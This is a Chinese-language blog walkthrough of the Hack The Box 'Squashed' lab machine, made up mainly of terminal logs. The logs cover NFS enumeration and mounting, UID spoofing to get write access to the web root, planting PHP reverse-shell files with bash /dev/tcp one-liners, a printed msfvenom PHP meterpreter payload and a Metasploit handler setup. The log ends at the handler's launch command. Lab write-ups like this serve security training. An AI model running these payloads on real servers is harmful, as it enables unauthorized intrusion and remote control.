https://app.hackthebox.com/machines/Squashed

最新推荐文章于 2024-04-30 11:11:45 发布

32进制

最新推荐文章于 2024-04-30 11:11:45 发布

阅读量6.9k

点赞数

分类专栏：笔记 hack the box 网络安全文章标签： python 安全 ctf htb

本文链接：https://blog.csdn.net/m0_47210241/article/details/130038726

版权

笔记同时被 3 个专栏收录

19 篇文章 0 订阅

订阅专栏

网络安全

18 篇文章 0 订阅

订阅专栏

hack the box

10 篇文章 0 订阅

订阅专栏

https://app.hackthebox.com/machines/Squashed

info collecting

┌──(kwkl㉿kwkl)-[~]
└─$ sudo nmap -A 10.10.11.191 -T4                                                                                                                                           1 ⨯
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 16:11 HKT
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.62s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41171/tcp   mountd
|   100005  1,2,3      49582/udp   mountd
|   100005  1,2,3      52017/tcp6  mountd
|   100005  1,2,3      52270/udp6  mountd
|   100021  1,3,4      40811/tcp   nlockmgr
|   100021  1,3,4      45367/tcp6  nlockmgr
|   100021  1,3,4      46131/udp6  nlockmgr
|   100021  1,3,4      47277/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/8%OT=22%CT=1%CU=40626%PV=Y%DS=2%DC=T%G=Y%TM=64312231
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11
OS:NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1720/tcp)
HOP RTT       ADDRESS
1   577.95 ms 10.10.16.1 (10.10.16.1)
2   291.62 ms 10.10.11.191 (10.10.11.191)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 150.11 seconds

┌──(kwkl㉿kwkl)-[~]
└─$ sudo nmap -A -v -sS -sV 10.10.11.191          
[sudo] kwkl 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 16:36 HKT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
Initiating Ping Scan at 16:36
Scanning 10.10.11.191 [4 ports]
Completed Ping Scan at 16:36, 0.33s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:36
Completed Parallel DNS resolution of 1 host. at 16:36, 0.00s elapsed
Initiating SYN Stealth Scan at 16:36
Scanning 10.10.11.191 (10.10.11.191) [1000 ports]
Discovered open port 80/tcp on 10.10.11.191
Discovered open port 111/tcp on 10.10.11.191
Discovered open port 22/tcp on 10.10.11.191
Discovered open port 2049/tcp on 10.10.11.191
Completed SYN Stealth Scan at 16:36, 5.48s elapsed (1000 total ports)
Initiating Service scan at 16:36
Scanning 4 services on 10.10.11.191 (10.10.11.191)
Completed Service scan at 16:36, 6.96s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 10.10.11.191 (10.10.11.191)
Retrying OS detection (try #2) against 10.10.11.191 (10.10.11.191)
Retrying OS detection (try #3) against 10.10.11.191 (10.10.11.191)
Retrying OS detection (try #4) against 10.10.11.191 (10.10.11.191)
Initiating Traceroute at 16:37
Completed Traceroute at 16:37, 0.62s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:37
Completed Parallel DNS resolution of 1 host. at 16:37, 0.00s elapsed
NSE: Script scanning 10.10.11.191.
Initiating NSE at 16:37
Completed NSE at 16:37, 31.08s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 3.21s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.64s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41171/tcp   mountd
|   100005  1,2,3      49582/udp   mountd
|   100005  1,2,3      52017/tcp6  mountd
|   100005  1,2,3      52270/udp6  mountd
|   100021  1,3,4      40811/tcp   nlockmgr
|   100021  1,3,4      45367/tcp6  nlockmgr
|   100021  1,3,4      46131/udp6  nlockmgr
|   100021  1,3,4      47277/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 21.536 days (since Sat Mar 18 03:45:38 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
1   608.28 ms 10.10.16.1 (10.10.16.1)
2   304.64 ms 10.10.11.191 (10.10.11.191)

NSE: Script Post-scanning.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.57 seconds
           Raw packets sent: 1234 (59.494KB) | Rcvd: 1235 (72.093KB)

┌──(kwkl㉿kwkl)-[~]
└─$ rpcinfo -p 10.10.11.191                                                                                                                                                 1 ⨯
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100000    3   tcp    111  portmapper
    100000    2   tcp    111  portmapper
    100000    4   udp    111  portmapper
    100000    3   udp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp  42363  mountd
    100005    1   tcp  59251  mountd
    100005    2   udp  45798  mountd
    100005    2   tcp  58335  mountd
    100005    3   udp  49582  mountd
    100005    3   tcp  41171  mountd
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100227    3   tcp   2049
    100003    3   udp   2049  nfs
    100227    3   udp   2049
    100021    1   udp  47277  nlockmgr
    100021    3   udp  47277  nlockmgr
    100021    4   udp  47277  nlockmgr
    100021    1   tcp  40811  nlockmgr
    100021    3   tcp  40811  nlockmgr
    100021    4   tcp  40811  nlockmgr

┌──(kwkl㉿kwkl)-[~]
└─$ 
nmap --script=nfs-* 10.10.11.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-08 22:11 HKT
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.74s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
| nfs-showmount: 
|   /home/ross *
|_  /var/www/html *
2049/tcp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 122.08 seconds

mount nfs

                                                                                                                                                                       
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$                                                                                                                                                                       100 ⨯
sudo apt-get install nfs-common
[sudo] kwkl 的密码：
对不起，请重试。
[sudo] kwkl 的密码：
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成                 
下列软件包是自动安装的并且现在不需要了：
  blt buildah conmon fonts-lyx fuse-overlayfs gir1.2-ayatanaappindicator3-0.1 golang-github-containernetworking-plugin-dnsname golang-github-containers-common
  golang-github-containers-image isympy-common isympy3 libb2-1 libduktape207 libegl-dev libgl-dev libgl1-mesa-dev libgles-dev libgles1 libgles2 libglu1-mesa-dev libglut-dev
  libglut3.12 libglvnd-core-dev libglvnd-dev libglx-dev libjs-jquery-ui libjs-uglify libopengl-dev libostree-1-1 libperl5.34 libprotobuf32 libpython3.11-dev libpython3.9
  libpython3.9-dev libpython3.9-minimal libpython3.9-stdlib libqt6core6 libqt6dbus6 libqt6network6 libqt6sql6 libqt6sql6-sqlite libqt6test6 libqt6xml6 libslirp0 libsubid4
  libts0 libxext-dev perl-modules-5.34 podman python-matplotlib-data python3-appdirs python3-cycler python3-fs python3-mpmath python3-opengl python3-sympy python3.11
  python3.11-dev python3.11-minimal python3.9 python3.9-dev python3.9-minimal qt6-base-dev-tools qt6-translations-l10n qtchooser ruby-uglifier ruby2.7 slirp4netns
  tk8.6-blt2.5 uidmap unicode-data
使用'sudo apt autoremove'来卸载它(它们)。
将会同时安装下列软件：
  keyutils libkeyutils1 libnfsidmap1
建议安装：
  open-iscsi watchdog
下列【新】软件包将被安装：
  keyutils libnfsidmap1 nfs-common
下列软件包将被升级：
  libkeyutils1
升级了 1 个软件包，新安装了 3 个软件包，要卸载 0 个软件包，有 1860 个软件包未被升级。
需要下载 378 kB 的归档。
解压缩后会消耗 1,579 kB 的额外空间。
您希望继续执行吗？ [Y/n] y
获取:1 https://kali.download/kali kali-rolling/main amd64 libkeyutils1 amd64 1.6.3-2 [8,808 B]
获取:2 https://kali.download/kali kali-rolling/main amd64 libnfsidmap1 amd64 1:2.6.2-4 [54.7 kB]
获取:3 https://kali.download/kali kali-rolling/main amd64 keyutils amd64 1.6.3-2 [54.5 kB]
获取:4 https://kali.download/kali kali-rolling/main amd64 nfs-common amd64 1:2.6.2-4 [260 kB]
已下载 378 kB，耗时 4秒 (96.3 kB/s) 
(正在读取数据库 ... 系统当前共安装有 389826 个文件和目录。)
准备解压 .../libkeyutils1_1.6.3-2_amd64.deb  ...
正在解压 libkeyutils1:amd64 (1.6.3-2) 并覆盖 (1.6.1-2) ...
正在设置 libkeyutils1:amd64 (1.6.3-2) ...
正在选中未选择的软件包 libnfsidmap1:amd64。
(正在读取数据库 ... 系统当前共安装有 389826 个文件和目录。)
准备解压 .../libnfsidmap1_1%3a2.6.2-4_amd64.deb  ...
正在解压 libnfsidmap1:amd64 (1:2.6.2-4) ...
正在选中未选择的软件包 keyutils。
准备解压 .../keyutils_1.6.3-2_amd64.deb  ...
正在解压 keyutils (1.6.3-2) ...
正在选中未选择的软件包 nfs-common。
准备解压 .../nfs-common_1%3a2.6.2-4_amd64.deb  ...
正在解压 nfs-common (1:2.6.2-4) ...
正在设置 libnfsidmap1:amd64 (1:2.6.2-4) ...
正在设置 keyutils (1.6.3-2) ...
正在设置 nfs-common (1:2.6.2-4) ...

Creating config file /etc/idmapd.conf with new version

Creating config file /etc/nfs.conf with new version
正在添加系统用户"statd" (UID 125)...
正在将新用户"statd" (UID 125)添加到组"nogroup"...
useradd warning: statd's uid 125 outside of the UID_MIN 1000 and UID_MAX 60000 range.
无法创建主目录"/var/lib/nfs"。
update-rc.d: As per Kali policy, nfs-common init script is left disabled.
Created symlink /etc/systemd/system/multi-user.target.wants/nfs-client.target → /lib/systemd/system/nfs-client.target.
Created symlink /etc/systemd/system/remote-fs.target.wants/nfs-client.target → /lib/systemd/system/nfs-client.target.
auth-rpcgss-module.service is a disabled or a static unit, not starting it.
nfs-idmapd.service is a disabled or a static unit, not starting it.
nfs-utils.service is a disabled or a static unit, not starting it.
proc-fs-nfsd.mount is a disabled or a static unit, not starting it.
rpc-gssd.service is a disabled or a static unit, not starting it.
rpc-statd-notify.service is a disabled or a static unit, not starting it.
rpc-statd.service is a disabled or a static unit, not starting it.
rpc-svcgssd.service is a disabled or a static unit, not starting it.
rpc_pipefs.target is a disabled or a static unit, not starting it.
var-lib-nfs-rpc_pipefs.mount is a disabled or a static unit, not starting it.
正在处理用于 libc-bin (2.36-8) 的触发器 ...
正在处理用于 man-db (2.9.4-2) 的触发器 ...
正在处理用于 kali-menu (2021.3.3) 的触发器 ...
Scanning processes...                                                                                                                                                           
Scanning candidates...                                                                                                                                                          
Scanning processor microcode...                                                                                                                                                 
Scanning linux images...                                                                                                                                                        

Running kernel seems to be up-to-date.

Failed to check for processor microcode upgrades.

Restarting services...
 systemctl restart packagekit.service
Service restarts being deferred:
 systemctl restart NetworkManager.service
 systemctl restart lightdm.service

No containers need to be restarted.

User sessions running outdated binaries:
 kwkl @ session #2: chrome[10972,10988,10989,10993], code[4353,4356,4357,4472,4589], panel-1-whisker[1563], xfce4-panel[1550], xfce4-session[1412], zsh[2746,3802]
 kwkl @ user manager service: systemd[1385]

No VM guests are running outdated hypervisor (qemu) binaries on this host.
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ showmount --all 10.10.11.191
All mount points on 10.10.11.191:
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ showmount --exports 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *


┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo mount -t nfs 10.10.11.191:/home/ross /home/kwkl/HODL/htb/squashed/ross -o nolock                                                                                  32 ⨯
[sudo] kwkl 的密码：

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed/ross]
└─$ sudo mount -t nfs 10.10.11.191:/var/www/html /home/kwkl/HODL/htb/squashed/html -o nolock
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed/ross]
└─$

files

                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -al ross
总用量 68
drwxr-xr-x 14 1001 1001 4096  4月  7 13:20 .
drwxr-xr-x  5 kwkl kwkl 4096  4月  8 22:23 ..
lrwxrwxrwx  1 root root    9 10月 20 21:24 .bash_history -> /dev/null
drwx------ 11 1001 1001 4096 10月 21 22:57 .cache
drwx------ 12 1001 1001 4096 10月 21 22:57 .config
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Desktop
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Documents
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Downloads
drwx------  3 1001 1001 4096 10月 21 22:57 .gnupg
drwx------  3 1001 1001 4096 10月 21 22:57 .local
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Music
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Pictures
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Public
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Templates
drwxr-xr-x  2 1001 1001 4096 10月 21 22:57 Videos
lrwxrwxrwx  1 root root    9 10月 21 21:07 .viminfo -> /dev/null
-rw-------  1 1001 1001   57  4月  7 13:20 .Xauthority
-rw-------  1 1001 1001 2475  4月  7 13:20 .xsession-errors
-rw-------  1 1001 1001 2475 12月 27 23:33 .xsession-errors.old

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -al webhtml
ls: 无法访问 'webhtml/.': 权限不够
ls: 无法访问 'webhtml/..': 权限不够
ls: 无法访问 'webhtml/.htaccess': 权限不够
ls: 无法访问 'webhtml/index.html': 权限不够
ls: 无法访问 'webhtml/images': 权限不够
ls: 无法访问 'webhtml/css': 权限不够
ls: 无法访问 'webhtml/js': 权限不够
总用量 0
d????????? ? ? ? ?             ? .
d????????? ? ? ? ?             ? ..
?????????? ? ? ? ?             ? css
?????????? ? ? ? ?             ? .htaccess
?????????? ? ? ? ?             ? images
?????????? ? ? ? ?             ? index.html
?????????? ? ? ? ?             ? js

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -ld webhtml                                                                                                                                                          1 ⨯
drwxr-xr-- 5 2017 www-data 4096  4月  8 22:40 webhtml
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo useradd webuser                                                                                                  
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo usermod -u 2017 webuser              
                                  
                                  
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo passwd webuser                                                                                                                                                     1 ⨯
新的 密码：
重新输入新的 密码：
passwd：已成功更新密码
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ su webuser         
密码：
$ ls -al webhtml
总用量 56
drwxr-xr-- 5 webuser www-data  4096  4月  8 22:45 .
drwxr-xr-x 6 kwkl    kwkl      4096  4月  8 22:42 ..
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 css
-rw-r--r-- 1 webuser www-data    44 10月 21 18:30 .htaccess
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 images
-rw-r----- 1 webuser www-data 32532  4月  8 22:45 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 js
$ cd webhtml

create user

                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -ld webhtml                                                                                                                                                          1 ⨯
drwxr-xr-- 5 2017 www-data 4096  4月  8 22:40 webhtml
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo useradd webuser                                                                                                  
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo usermod -u 2017 webuser              
                                   
                                                                                                                                                                                                                   
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo passwd webuser                                                                                                                                                     1 ⨯
新的 密码：
重新输入新的 密码：
passwd：已成功更新密码
      
 ┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.19 LPORT=5555 -o shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1112 bytes
Saved as: shell.php


 
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ su webuser         
密码：
$ ls -al webhtml
总用量 56
drwxr-xr-- 5 webuser www-data  4096  4月  8 22:45 .
drwxr-xr-x 6 kwkl    kwkl      4096  4月  8 22:42 ..
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 css
-rw-r--r-- 1 webuser www-data    44 10月 21 18:30 .htaccess
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 images
-rw-r----- 1 webuser www-data 32532  4月  8 22:45 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:45 js
$ cd webhtml
$ ls
css  images  index.html  js
$ cat <?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.19/9999 0>&1'");?> >> 1.php
sh: 4: Syntax error: "(" unexpected
$ echo "<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.19/9999 0>&1'");?>" >> 1.php
$ ls
1.php  css  images  index.html  js
$ cat 1.php
<?php system(bash -c bash -i >& /dev/tcp/10.10.16.19/9999 0>&1);?>
$ ls
1.php  css  images  index.html  js
$ ls -al
总用量 60
drwxr-xr-- 5 webuser www-data  4096  4月  8 22:53 .
drwxr-xr-x 6 kwkl    kwkl      4096  4月  8 22:42 ..
-rw-r--r-- 1 webuser webuser     67  4月  8 22:53 1.php
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 css
-rw-r--r-- 1 webuser www-data    44 10月 21 18:30 .htaccess
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 images
-rw-r----- 1 webuser www-data 32532  4月  8 22:50 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 js
$ ls -ld *
-rw-r--r-- 1 webuser webuser     67  4月  8 22:53 1.php
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 css
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 images
-rw-r----- 1 webuser www-data 32532  4月  8 22:50 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 js
$ chmod 755 1.php
$ ls -al
总用量 60
drwxr-xr-- 5 webuser www-data  4096  4月  8 22:53 .
drwxr-xr-x 6 kwkl    kwkl      4096  4月  8 22:42 ..
-rwxr-xr-x 1 webuser webuser     67  4月  8 22:53 1.php
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 css
-rw-r--r-- 1 webuser www-data    44 10月 21 18:30 .htaccess
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 images
-rw-r----- 1 webuser www-data 32532  4月  8 22:50 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 22:50 js
$ cat ../shell.php >> 2.php
$ cat 2.php
/*<?php /**/ error_reporting(0); $ip = '10.10.16.19'; $port = 5555; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();$ 
$ chmod +x 2.php
$ ls -al      
总用量 56
drwxr-xr-- 5 webuser www-data  4096  4月  8 23:00 .
drwxr-xr-x 6 kwkl    kwkl      4096  4月  8 22:57 ..
drwxr-xr-x 2 webuser www-data  4096  4月  8 23:00 css
-rw-r--r-- 1 webuser www-data    44 10月 21 18:30 .htaccess
drwxr-xr-x 2 webuser www-data  4096  4月  8 23:00 images
-rw-r----- 1 webuser www-data 32532  4月  8 23:00 index.html
drwxr-xr-x 2 webuser www-data  4096  4月  8 23:00 js
$ cat ../shell.php >> 2.php
$ webuser

or：

bash -i >& /dev/tcp/10.10.16.15/1337 0>&1

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.19/9999 0>&1'");?>

browser 2.php

]
└─$ msfconsole                                                                       
[!] The following modules were loaded with warnings:
                                                  
                                   ___          ____
                               ,-""   `.      < HONK >
                             ,'  _   e )`-._ /  ----
                            /  ,' `-._<.===-'
                           /  /
                          /  ;
              _          /   ;
 (`._    _.-"" ""--..__,'    |
 <_  `-""                     \
  <`-                          :
   (__   <__.                  ;
     `-.   '-.__.      _.'    /
        \      `-.__,-'    _,'                                                                                                                                                  
         `._    ,    /__,-'                                                                                                                                                     
            ""._\__,'< <____                                                                                                                                                    
                 | |  `----.`.                                                                                                                                                  
                 | |        \ `.                                                                                                                                                
                 ; |___      \-``                                                                                                                                               
                 \   --<                                                                                                                                                        
                  `.`.<                                                                                                                                                         
                    `-'                                                                                                                                                         
                                                                                                                                                                                
                                                                                                                                                                                

       =[ metasploit v6.2.26-dev                          ]
+ -- --=[ 2266 exploits - 1189 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: To save all commands executed since start up 
to a file, use the makerc command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > exit
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ chmod 777  shell.php
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ msfconsole
[!] The following modules were loaded with warnings:
                                                  
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.2.26-dev                          ]
+ -- --=[ 2266 exploits - 1189 auxiliary - 404 post       ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View all productivity tips with the 
tips command
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > use payload php/meterpreter/reverse_tcp 

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  payload/php/meterpreter/reverse_tcp                        normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   1  payload/php/meterpreter/reverse_tcp_uuid                   normal  No     PHP Meterpreter, PHP Reverse TCP Stager


Interact with a module by name or index. For example info 1, use 1 or use payload/php/meterpreter/reverse_tcp_uuid

msf6 exploit(multi/handler) > use 0
msf6 payload(php/meterpreter/reverse_tcp) > show options

Module options (payload/php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


View the full module info with the info, or info -d command.

msf6 payload(php/meterpreter/reverse_tcp) > set lhost 10.10.16.19
lhost => 10.10.16.19
msf6 payload(php/meterpreter/reverse_tcp) > set lport 5555
lport => 5555
msf6 payload(php/meterpreter/reverse_tcp) > 
msf6 payload(php/meterpreter/reverse_tcp) > run
[-] Unknown command: run
msf6 payload(php/meterpreter/reverse_tcp) > exploit
